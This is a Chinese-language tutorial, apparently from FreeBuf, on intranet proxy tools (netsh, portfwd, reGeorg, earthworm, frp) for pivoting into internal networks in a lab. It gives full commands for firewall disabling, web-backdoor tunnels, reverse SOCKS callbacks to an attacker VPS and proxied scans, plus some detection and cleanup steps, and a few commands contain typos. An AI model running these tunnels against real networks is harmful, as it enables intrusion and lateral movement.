內網代理常用工具總結
1、 場景介紹
網絡請求一般是由客戶端發起,服務器響應,而代理服務是這個網絡請求的中介,其作用是將客戶端的網絡請求經由自身代理服務轉發至服務端。
某些情況下客戶端無法直接訪問服務端,但代理服務端可以訪問服務端,此時客戶端與代理服務端建立協議,客戶端的請求都經由代理端轉發至服務端這便是正向代理。
正向代理主要面向客戶端服務,服務端的響應會返回給代理服務端,代理服務端會將其轉發至客戶端。
故而正向代理的過程中,服務端無法確定請求的真實發起者,僅與代理端進行通信。

某些情況下,為保護內網安全以及優化網站負載服務端也會使用代理程序代理大量來自客戶端的網絡請求,反向代理主要面向服務端服務,客戶端的請求會直接發給代理服務器,代理服務器會轉發至服務端并將服務端響應返回值客戶端。
故而反向代理的過程中,客戶端無法確定真實服務端地址,僅與代理端進行通信。

攻擊者在成功入侵某一臺對外服務器后也會利用以上代理原理進行內網橫向滲透進一步擴大戰果,上傳代理工具至對外服務器將其改造為跳板機,建立通往內網的通信隧道。
某些不合規情況下運維人員為方便自身,擅自將內網服務器代理至互聯網也會造成安全風險。
通過內網代理環境應急演練熟悉當前常用內網代理工具和方法以及檢查和處置方法,提升內部人員安全意識,避免因黑客攻擊或運維不合規造成內網服務器暴露在公網的風險。
2、 正向代理
2.1 netsh端口轉發
netsh是windows系統自帶命令行程序,攻擊者無需上傳第三方工具即可利用netsh程序可進行端口轉發操作,可將內網中其他服務器的端口轉發至本地訪問,如內網某臺服務器的ssh端口可轉發至本地即可通過暴力破解或弱口令方式嘗試登陸目標服務器。
注意點:
1.利用netsh進行端口轉發需要具備管理員權限。
2.實際環境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理,未體現漏洞利用過程。
場景:
靶機A是web服務器,攻擊者通過漏洞攻擊獲得靶機A的服務器權限,靶機B位于內網且未映射至互聯網,此時通過利用靶機A自帶命令行程序netsh,netsh可將攻擊者的流量經由靶機A轉發至靶機B,使得攻擊者可以訪問到位于內網的靶機B。
示例
靶機A 10.211.55.3(windows)
靶機B 10.211.55.7(centos7)
攻擊機 10.211.55.4(kali)
在靶機A上運行以下命令開啟端口轉發策略,提示需管理員權限運行:
netsh interface portproxy add v4tov4 listenaddress=10.211.55.3 listenport=33310 connectport=22 connectaddress=10.211.55.7

使用如下如下命令切換至管理員權限,需輸入管理員賬號密碼。
runas /user:administrator cmd

切換至管理員權限后重復上述命令。
在攻擊機上運行如下命令登錄靶機B失敗。
ssh root@10.211.55.3-p 33310
在靶機A上運行如下命令查看防火墻狀態,靶機A防火墻默認開啟。

netsh firewall show config

使用netsh關閉靶機A的防火墻
netsh advfirewall set allprofiles state off

在攻擊機上運行如下命令利用靶機A的端口轉發策略登錄至靶機B上。
ssh root@10.211.55.3-p 33310

在靶機B上看到開啟了33310監聽端口,同時攻擊機與該端口建立了tcp連接,也可以看到靶機A主動連接了靶機B的22端口。
說明此刻攻擊機正在利用靶機A的端口轉發隧道入侵靶機B。

netsh端口轉發可使用如下命令查看,確認主機是否被惡意植入了端口轉發策略。
netsh interface portproxy show v4tov4

使用如下命令即可刪除端口轉 發策略
netsh interface portproxy delete v4tov4 listenaddress=10.211.55.3 listenport=33310

2.2 portfwd端口轉發
portfwd是一款強大的端口轉發工具,支持TCP,UDP,支持IPV4以及IPV6的端口轉發。
攻擊者在獲取對外服務器權限后為擴大戰果,會上傳端口轉發工具至對外服務器,獲得更多的可攻擊面。例如將失陷主機的任意可訪問端口轉發至內網某臺服務器的遠程桌面端口,即可通過暴力破解和弱口令的方式嘗試登陸內網服務器。
注意點:
實際環境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理,未體現漏洞利用過程。
場景:
靶機A是web服務器,攻擊者通過漏洞攻擊獲得靶機A的服務器權限,靶機B位于內網且未映射至互聯網,此時通過上傳portfwd至靶機A,portfwd可將攻擊者的流量經由靶機A轉發至靶機B,使得攻擊者可以訪問到位于內網的靶機B。
示例
靶機A 10.211.55.7
靶機B 10.211.55.3
攻擊機 10.211.55.4
工具下載路徑https://github.com/rssnsj/portfwd.git
在靶機A上使用如下命令下載portfwd端口轉發工具。
git clone https://github.com/rssnsj/portfwd.git

使用如下命令進入src目錄并進行編譯,該工具包為源碼需自行編譯使用。
cd portfwd/src make

使用如下命令建立軟鏈接,鏈接路徑需為portfwd工具的絕對路徑。
ln -s /root/portfwd/src/tcpfwd /usr/bin&&ln -s /root/portfwd/src/udpfwd /usr/bin

使用如下命令進行端口轉發,將發給靶機A的33310端口的流量轉發至靶機B的3389端口,這樣即使攻擊機與靶機B的網絡不通,仍可通過此端口轉發鏈路訪問到靶機B的3389端口。
tcpfwd 0.0.0.0:33310 10.211.55.3:3389

在攻擊機上運行如下命令即可通過端口轉發訪問靶機B的遠程桌面。
rdesktop 10.211.55.7:33310


在靶機A上運行如下命令可查看到tcpfwd開啟了一個監聽端口33310,同時利用該端口轉發隧道訪問了靶機B的3389端口。
netstat -antlp

通過如下命令可以確定進程的可執行文件所在位置,并進行清除。
ls -al /proc/pid

在靶機B上運行如下命令可以看到靶機A與自身的遠程桌面3389端口建立了tcp連接。
netstat -ano

2.3 regeorg正向代理
regeorg工具通過http協議建立通信隧道,攻擊者通常在獲得內網某臺web服務器權限后,上傳該工具創建socket監聽一個端口用于正向代理,攻擊者通過此端口可將攻擊流量透傳至目標內網其他服務器,從而達到內網橫向滲透擴大戰果的目的。
注意點:
實際環境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理,未體現漏洞利用過程。
場景:
在靶機A上上傳regeorg后門文件,在攻擊機上運行regeorg腳本連接后門,使得本地攻擊流量可通過此http隧道轉發至內網環境。
示例 利用regeorg工具正向代理進行內網橫向滲透
攻擊機:10.211.55.5(kali)
靶機A:10.211.55.7(centos7+tomcat)
靶機B:10.211.55.15(windows server2003)
工具下載:
在攻擊機上執行如下命令下載regeorg代理工具包
git clone https://github.com/sensepost/reGeorg.git

在靶機A上上傳regeorg代理工具包如下:(實際攻擊場景下通過利用靶機A的漏洞上傳此工具包)

在攻擊機上運行代理腳本,由于靶機A使用的是jsp類型網站腳本,命令如下:
python reGeorgSocksProxy.py -u http://10.211.55.7:8080/reGeorg-master/tunnel.jsp -p 1088
提示georg says, ‘all seems fine’說明連接成功,已完成端口復用。

在攻擊機上配置本地全局代理proxychains,使得本地攻擊流量可通過regeorg創建的http隧道轉發至內網其他服務器。
攻擊機自帶proxychains全局代理工具,默認路徑為/etc/proxychains4.conf,編輯配置文件在文件最后增加如下配置:
Socks5 127.0.0.1 1088

以上配置使得攻擊機可將支持socks5協議的攻擊流量通過本地1088端口轉發至靶機A,再通過靶機A轉發至內網其他服務器。

查看攻擊機上的regeorg的運行日志可以看到,telnet請求的目的地址和端口。

查看靶機A上的網絡連接,可以看到攻擊機的請求成功實現端口復用,復用了java進程創建的端口連接了靶機B的445端口。

查看靶機B的網絡連接無法看到攻擊機ip地址,靶機A作為攻擊機的正向代理

下面使用端口掃描工具對靶機B進行端口掃描,命令如下:
proxychains4 namp -sT 10.211.55.15 -Pn

成功掃描出靶機B開放的端口。

在靶機B上抓包可以看到所有的端口掃描請求源地址均來自靶機A而不是攻擊機。

regeorg代理工具是基于web程序實現的,其可執行文件一般位于網站路徑下,可通過上傳web后門查殺工具進行本地查殺。
上傳web后門查殺工具后執行如下命令指定查殺路徑,可以發現網站路徑下攻擊者不僅上傳了regeorg代理工具同時也被植入了web后門文件。
根據其掃描結果與網站開發核實后進行清除,同時可檢查同路徑下有無創建時間相同的腳本文件并與開發核實防止web后門查殺工具存在漏報誤報情況。
./hm scan /usr/local/tomcat/tomcat/apache-tomcat-8.5.51/webapps/

3 反向代理
3.1 earthworm反向代理
earthworm是一套便攜式網絡穿透工具,具有socks和端口轉發兩大核心功能,支持正向代理、反向代理、多級代理等方式打通網絡隧道,可在復雜網絡環境下完成網絡穿透和內網橫向滲透的功能。
注意點:
實際環境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理,未體現漏洞利用過程。
場景:
分別在靶機A、B以及攻擊機上運行earthworm代理工具,使得攻擊機將靶機A、B作為其多級代理進行內網橫向滲透。

示例1 利用earthworm反向代理進行內網橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.15(windows server 2003r2)
攻擊機:10.211.55.4(kali)
工具下載路徑如下:
git clone https://github.com/idlefire/ew.git
使用上述命令在攻擊機上下載該工具如下:

下載成功后運行如下命令,可在攻擊機本地開啟1080和8888監聽端口,并將1080端口收到的流量轉發至8888端口。
./ew_for_linux64 -s rcsocks -l 1080 -e 8888

使用命令netstat -antlp 可以看到攻擊機本地開啟了1080和8888監聽端口。

在靶機A上上傳earthworm,并運行如下命令連接攻擊機的8888端口,建立與攻擊機的反向代理。
./ew -s rssocks -d vpsip -e 8888
運行后可以看到程序日志提示已完成代理的連接。

在攻擊機上修改全局代理軟件proxychains的配置文件,默認路徑
為/etc/proxychains4.conf,配置socks5代理地址和端口如下:

注意:
由于演練環境為本地搭建,實際環境下攻擊機地址一般為公網vps地址,若設置為公網vps地址,此時全局代理配置ip應設置為vps地址。
在攻擊機上使用如下命令通過代理隧道探測靶機B的3389端口是否開啟,telnet使用的是tcp協議,而socks5協議支持tcp和udp協議數據的傳遞。
proxychains telnet 10.211.55.15 3389

在靶機A的earthworm日志上可以看到攻擊機發起的telnet請求觸發的tcp數據包成功轉發至靶機B上。

在靶機A上查看網絡連接可以看到靶機A與攻擊機的8888端口建立了tcp連接,同時也可看到靶機A成功代理了攻擊機觸發的3389請求。

在靶機B上只能看到靶機A的地址與自身3389端口建立了連接,無法看到攻擊機地址。

此時利用全局代理以及靶機A的代理隧道,即使靶機B處于內網無法通過外網訪問,也可通過此代理隧道實現遠程登錄靶機B,實現內網的橫向移動。
使用如下命令遠程登錄靶機B:
proxychains4 resktop 10.211.55.15

攻擊機彈出了靶機B的遠程桌面端口,此時若靶機B使用了弱密碼或被暴力破解成功即可實現遠程登錄。

示例2 使用earthworm多級代理進行內網橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.15(windows server 2003r2)
靶機C:10.211.55.3(windows10)
攻擊機:10.211.55.4(kali)
本示例中靶機A可訪問攻擊機,靶機B和C均與攻擊機網絡不通,但與靶機A網絡互通。
注意:
某些條件下,內網某些服務器無法訪問互聯網,需通過級聯的方式將可訪問互聯網的主機作為一級代理連接攻擊機,二級代理連接一級代理主機即可形成通信隧道,攻擊機可通過級聯的方式將攻擊流量轉發至更深入的內網。
在攻擊機上運行如下命令,可在攻擊機本地開啟1080和8888監聽端口,并將1080端口收到的流量轉發至8888端口。
./ew -s lcx_listen -l 1080 -e 8888

在靶機B上運行如下命令,可開啟9999端口的正向代理。
./ew -s ssocksd -l 9999

在靶機A上運行如下命令,同時連接攻擊機的反向代理端口和靶機B的正向代理端口。
./ew -s lcx_slave -d 10.211.55.4 -e 8888 -f 10.211.55.15 -g 9999

當靶機A成功連接上攻擊機時,攻擊機代理日志可以看到連接成功記錄。

在攻擊機上使用如下命令通過代理隧道探測靶機C的3389端口是否開啟,
telnet使用的是tcp協議,而socks5協議支持tcp和udp協議數據的傳遞。
proxychains telnet 10.211.55.3 3389

此時登錄靶機C查看網絡連接可以看到telnet請求觸發的tcp連接發起端為靶機B。
說明攻擊機發起的請求經由靶機A轉發至靶機B,有經由靶機B的正向代理轉發至靶機C。
使用如下命令遠程登錄靶機C:

proxychains4 resktop 10.211.55.3

攻擊機彈出了靶機B的遠程桌面端口,此時若靶機B使用了弱密碼或被暴力破解成功即可實現遠程登錄。

3.2 frp反向代理
frp 是一個可用于內網穿透的高性能的反向代理應用,支持tcp、udp協議。
運維人員使用 frp 進行反向代理,滿足通過公網服務器訪問處于內網的服務,如訪問內網web服務,遠程ssh內網服務器,遠程控制內網nas等,但此類操作存在較大安全隱患,會將內網服務直接暴露在公網。
對于內網滲透來講,這種功能恰好能夠滿足我們進行內網滲透的流量轉發。frp最大的一個特點是使用socks代理,而socks是加密通信的,類似于做了一個加密的隧道,可以把外網的流量,通過加密隧道穿透到內網。
注意點:
實際環境下攻擊者利用靶機的漏洞上傳該工具,本示例目的為演示代理工具的使用和原理,未體現漏洞利用過程。
場景:
分別在靶機A和攻擊機上運行frp代理工具,使得攻擊機將靶機A作為其代理進行內網橫向滲透。
示例 利用frp反向代理進行內網橫向滲透
靶機A:10.211.55.7(centos7)
靶機B:10.211.55.3(windows)
攻擊機:10.211.55.4(kali)
工具下載路徑如下:
https://github.com/fatedier/frp/releases
根據運行系統選擇合適版本下載,本示例運行平臺均為linux,選擇frp_0.35.1_linux_amd64.tar.gz進行下載。
在攻擊機上編輯frp服務端配置文件frps.ini,配置內容如下:
[common]
bind_port = 33310
allow_ports=33310-33410
token = ZUcviGVBciVNip4YoeE0
在攻擊機上進入到frp目錄,運行如下命令啟動代理程序服務端。
./frps -c frps.ini #nohup ./frps -c frps.ini&后臺運行

在靶機A上上傳frp工具包后,編輯frp客戶端配置文件frpc.ini,配置內容如下:
[common] server_addr = 10.211.55.4 server_port = 33310 token = ZUcviGVBciVNip4YoeE0 [socks_proxy] type= tcp plugin= socks5 remote_port = 33311 local_port = 33311

進入靶機A的frp目錄下,運行如下命令即可啟動反向代理客戶端。

在攻擊機上修改全局代理軟件proxychains的配置文件,默認路徑
為/etc/proxychains4.conf,配置socks5代理地址和端口如下:
socks5 127.0.0.1 33311

注意:
由于演練環境為本地搭建,實際環境下攻擊機地址一般為公網vps地址,若設置為公網vps地址,此時全局代理配置ip應設置為vps地址。
在攻擊機上使用如下命令通過代理隧道探測靶機B的3389端口是否開啟,
telnet使用的是tcp協議,而socks5協議支持tcp和udp協議數據的傳遞。

登錄靶機B可以看到攻擊機telnet觸發的請求經由靶機A的代理隧道轉發至靶機B。
使用如下命令遠程登錄靶機B:

proxychains4 resktop 10.211.55.3
攻擊機彈出了靶機B的遠程桌面端口,此時若靶機B使用了弱密碼或被暴力破解成功即可實現遠程登錄。

文章來源:作者:QS_永夏
原文地址:https://www.freebuf.com/articles/network/268129.html